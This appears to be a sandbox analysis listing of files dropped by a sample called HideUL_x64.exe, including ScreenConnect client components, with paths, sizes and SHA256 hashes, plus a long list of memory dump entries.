                                                                                                                                        HideUL_x64.exe
                                                                                                                                        • Path C:\Users\HideUL\HideUL_x64.exe
                                                                                                                                        • Size 968KB
                                                                                                                                        • SHA256 01a3089cc33adcfa20b235d794b70176326cf60181c95554d952839532afdce2
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Version_Info.txt
                                                                                                                                        • Path C:\Users\HideUL\Version_Info.txt
                                                                                                                                        • Size 786B
                                                                                                                                        • SHA256 e9984c0c66373ce9684ab82d1e7a1e1d2ab7b2e0e187bc6ee041c61d9c6e2277
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        MSI1302.tmp
                                                                                                                                        • Path C:\Windows\Installer\MSI1302.tmp
                                                                                                                                        • Size 1.1MB
                                                                                                                                        • SHA256 71155d6834aa9d39bdbe3c1b1791f7e59c263b3be61ee4e4d645a29fdee7dd27
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Microsoft.Deployment.WindowsInstaller.dll
                                                                                                                                        • Path C:\Windows\Installer\MSI1302.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                                                                                                                                        • Size 172KB
                                                                                                                                        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.Core.dll
                                                                                                                                        • Path C:\Windows\Installer\MSI1302.tmp-\ScreenConnect.Core.dll
                                                                                                                                        • Size 567KB
                                                                                                                                        • SHA256 3e335088245a44e7d929a108a3fec2985df749f697fdd7c1815abefe9a1effb0
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.InstallerActions.dll
                                                                                                                                        • Path C:\Windows\Installer\MSI1302.tmp-\ScreenConnect.InstallerActions.dll
                                                                                                                                        • Size 24KB
                                                                                                                                        • SHA256 52d52f271a4314bece5f573642fd41f9e71724796e250a96ca61470ba71b4d82
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.Windows.dll
                                                                                                                                        • Path C:\Windows\Installer\MSI1302.tmp-\ScreenConnect.Windows.dll
                                                                                                                                        • Size 1.7MB
                                                                                                                                        • SHA256 e0cf56d4793a7ac0ede73d5229c1cf8a9eb0f8352a61ecdd42ee4800a42ceaef
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        MSI1BBF.tmp
                                                                                                                                        • Path C:\Windows\Installer\MSI1BBF.tmp
                                                                                                                                        • Size 202KB
                                                                                                                                        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        MSI69D.tmp
                                                                                                                                        • Path C:\Windows\Installer\MSI69D.tmp
                                                                                                                                        • Size 9.8MB
                                                                                                                                        • SHA256 b42afabdb3d2d78f369c3f09c0b12d09f0c3f04d1768a1e9aaab6bf0368f2f60
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        0ex3owss.newcfg
                                                                                                                                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (df1f7eee088402cc)\0ex3owss.newcfg
                                                                                                                                        • Size 881B
                                                                                                                                        • SHA256 e8ee6ca50dae3810cc039c0897a82ec220e7043f55a0cd3b54aca7056eac41f3
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        0zocefho.newcfg
                                                                                                                                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (df1f7eee088402cc)\0zocefho.newcfg
                                                                                                                                        • Size 683B
                                                                                                                                        • SHA256 c2ffaafc73cb3bebeda860449d8d3e562a31f936945a0cf2bd5d69e9adf7f233
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        user.config
                                                                                                                                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (df1f7eee088402cc)\user.config
                                                                                                                                        • Size 520B
                                                                                                                                        • SHA256 14046ca05f72e4b0b2be7a8d9d9d167e561fb0892755f893eaa529e60558f55e
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        zdcbwfux.newcfg
                                                                                                                                        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (df1f7eee088402cc)\zdcbwfux.newcfg
                                                                                                                                        • Size 881B
                                                                                                                                        • SHA256 4f159f3a1b7a681005449ac374f34ce58208d79cb1e7ee125ad171064f15f3ec
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        1i2i0b4l.tmp
                                                                                                                                        • Path C:\Windows\Temp\1i2i0b4l.tmp
                                                                                                                                        • Size 49KB
                                                                                                                                        • SHA256 d848dcd540d65f824e3a77a37aa5380aa8a39909bfe8acc5dae7bbe12e04b9c0
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                        Submit Download

                                                                                                                                        3i7i0b8l.tmp
                                                                                                                                        • Path C:\Windows\Temp\3i7i0b8l.tmp
                                                                                                                                        • Size 50KB
                                                                                                                                        • SHA256 b606ff5cff5bca639425f37378d3022ba48d807efc2890e30203436808c271f1
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                        Submit Download

                                                                                                                                        ~odykmgr.tmp
                                                                                                                                        • Path C:\Windows\Temp\~odykmgr.tmp
                                                                                                                                        • Size 752KB
                                                                                                                                        • SHA256 e5988a4597838f07fff021dd6c1653a8a459ed6caf2a63da95ec42ab49d37e0d
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.WindowsClient.exe.log
                                                                                                                                        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log
                                                                                                                                        • Size 1KB
                                                                                                                                        • SHA256 7b5e1f2ef2d99fa60f4919cd4c295f941a6960ee0c4490b844e5c6c8bfd11cff
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        memory/552-646-0x00000000009C0000-0x00000000009D2000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1084-2027-0x000017F5AEDB0000-0x000017F5AEE20000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1152-544-0x00000000059C0000-0x0000000005B6C000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1152-540-0x0000000005660000-0x000000000566A000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1152-542-0x0000000005780000-0x000000000580C000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1264-614-0x000000001B560000-0x000000001B5EC000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1264-616-0x0000000000E70000-0x0000000000E88000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1264-617-0x000000001B150000-0x000000001B168000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1264-615-0x000000001B7A0000-0x000000001B94C000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1264-609-0x0000000000600000-0x0000000000698000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1264-610-0x000000001B190000-0x000000001B1C6000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1780-596-0x0000000003AB0000-0x0000000003AE6000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1780-595-0x0000000001320000-0x0000000001338000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1780-647-0x0000000005060000-0x00000000050C6000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/1780-597-0x0000000003F50000-0x0000000004025000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/2664-663-0x00000000003C0000-0x00000000003D6000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3088-416-0x000000001BF50000-0x000000001C100000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3088-413-0x0000000000CE0000-0x0000000000D8C000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3088-414-0x0000000002ED0000-0x0000000002F3C000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3088-418-0x000000001C290000-0x000000001C416000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3088-417-0x0000000001670000-0x000000000168A000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3088-415-0x000000001BD00000-0x000000001BD94000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3716-391-0x0000000004060000-0x00000000040A1000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3716-393-0x00000000045F0000-0x00000000046C6000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3716-358-0x0000000004010000-0x0000000004060000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3716-388-0x00000000040D0000-0x000000000413C000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3716-356-0x00000000041C0000-0x0000000004370000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3716-346-0x0000000001720000-0x000000000173A000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3716-352-0x0000000003F70000-0x0000000004004000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/3716-389-0x0000000004410000-0x00000000044A2000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/4052-307-0x0000000004DF0000-0x0000000004FA0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/4052-308-0x0000000005550000-0x0000000005AF4000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/4052-295-0x00000000026C0000-0x00000000026EE000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/4052-299-0x0000000002700000-0x000000000270C000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/4052-303-0x0000000004BA0000-0x0000000004C34000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/4112-466-0x0000000180000000-0x0000000180055000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/5976-1484-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/5976-1456-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/5976-1459-0x00007FFF456C0000-0x00007FFF456D0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/5976-1458-0x00007FFF456C0000-0x00007FFF456D0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/5976-1455-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/5976-1457-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/5976-1486-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/5976-1454-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/5976-1483-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/5976-1453-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/5976-1485-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/6484-1533-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/6484-1535-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/6484-1536-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/6484-1537-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/6484-1595-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/6484-1592-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/6484-1594-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/6484-1593-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download

                                                                                                                                        memory/6484-1534-0x00007FFF47DD0000-0x00007FFF47DE0000-memory.dmp
                                                                                                                                        Download